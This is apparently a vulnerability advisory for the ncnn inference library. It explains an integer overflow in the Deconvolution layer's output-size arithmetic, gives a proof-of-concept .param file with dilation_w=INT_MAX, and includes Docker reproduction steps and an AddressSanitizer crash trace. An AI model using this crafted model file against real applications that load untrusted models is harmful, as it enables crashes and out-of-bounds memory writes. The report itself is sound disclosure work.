Deconvolution Overflow Crashes ncnnoptimize

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/deconvolution.cpp:152 in Deconvolution::forward
Sanitizer verdict: SEGV on unknown address 0x50e20000057c (pc 0x62bc6d3bf2d8 bp 0x7fff164c6630 sp 0x7fff164c57c0 T0)

The observed crash lands in src/layer/x86/deconvolution_x86.cpp:387, which is the ISA-specialised copy of the reported code path.

Summary

A Deconvolution layer with an extreme dilation_w makes ncnn's output-geometry arithmetic overflow, so the layer allocates a tiny output buffer and then writes into it at an offset scaled by the raw dilation value, segfaulting ncnnoptimize. The attacker supplies a .param/.bin pair to ncnnoptimize inparam inbin outparam outbin 0, which loads them and runs the graph inside ModelWriter::shape_inference(). Any application loading an untrusted model and extracting a blob hits the same path.

Detail

Deconvolution::load_param copies kernel_w (field 1), dilation_w (field 2), stride_w (field 3) and output_pad_right (field 18) out of the parameter file as plain ints, with no range validation. forward then computes the output extent from them in signed 32-bit arithmetic, and uses only that (already-wrapped) extent to size the output allocation, while passing the un-wrapped dilation_w on to the kernel:

// src/layer/deconvolution.cpp:146
int Deconvolution::forward(const Mat& bottom_blob, Mat& top_blob, const Option& opt) const
{
    int w = bottom_blob.w;
    int h = bottom_blob.h;
    size_t elemsize = bottom_blob.elemsize;

    const int kernel_extent_w = dilation_w * (kernel_w - 1) + 1;
    const int kernel_extent_h = dilation_h * (kernel_h - 1) + 1;

    int outw = (w - 1) * stride_w + kernel_extent_w + output_pad_right;
    int outh = (h - 1) * stride_h + kernel_extent_h + output_pad_bottom;

// src/layer/x86/deconvolution_x86.cpp:377
                    for (int u = 0; u < kernel_h; u++)
                    {
                        for (int v = 0; v < kernel_w; v++)
                        {
                            float* ptr = outm.row(dilation_h * u) + dilation_w * v;

                            for (int i = 0; i < h; i++)
                            {
                                for (int j = 0; j < w; j++)
                                {
                                    ptr[0] += sptr[0];

The PoC's record is Deconvolution deconv 1 1 input output 0=1 1=3 2=2147483647 3=1 4=0 5=0 6=3 11=1 12=1 13=1 14=0 15=0 16=0 18=2 19=0 20=0 21=0, i.e. num_output=1, kernel_w=3, kernel_h=1, dilation_w=INT_MAX, dilation_h=1, stride=1, output_pad_right=2, over a 1x1x1 input.

kernel_extent_w evaluates 2147483647 * (3 - 1) + 1; the multiplication overflows int and wraps to -2, so the extent becomes -1 instead of roughly 2^32. outw is therefore (1 - 1) * 1 + (-1) + 2 = 1 and outh is 1, and the layer allocates a 1x1x1 output. The kernel loop is still driven by the real kernel_w = 3 and the real dilation_w, so at v == 1 line 381 forms outm.row(0) + 2147483647 — an ~8 GB offset from a one-float row — and the accumulate at line 387 dereferences it, producing the reported SEGV on unknown address. Smaller dilation values that keep the wrapped extent positive but still exceed the allocated row produce the same out-of-range accumulate without leaving the process address space.

Reproduce

mkdir -p ncnn-poc-deconvolution-overflow-crashes-ncnnoptimize && cd ncnn-poc-deconvolution-overflow-crashes-ncnnoptimize

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
2 2
Input data 0 1 input 0=1 1=1 2=1
Deconvolution deconv 1 1 input output 0=1 1=3 2=2147483647 6=3 11=1 12=1 18=2 19=0
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x50e20000057c (pc 0x597f85bf52d8 bp 0x7ffd1f7de3f0 sp 0x7ffd1f7dd580 T0)
==1==The signal is caused by a READ memory access.
    #0 0x597f85bf52d8 in ncnn::Deconvolution_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/deconvolution_x86_avx512.cpp:387
    #1 0x597f834c4f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #2 0x597f834b6b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x597f835169e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x597f833a83c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x597f83425eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x714047cb31c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x714047cb328a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x597f833a5624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/build/src/layer/x86/deconvolution_x86_avx512.cpp:387 in ncnn::Deconvolution_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst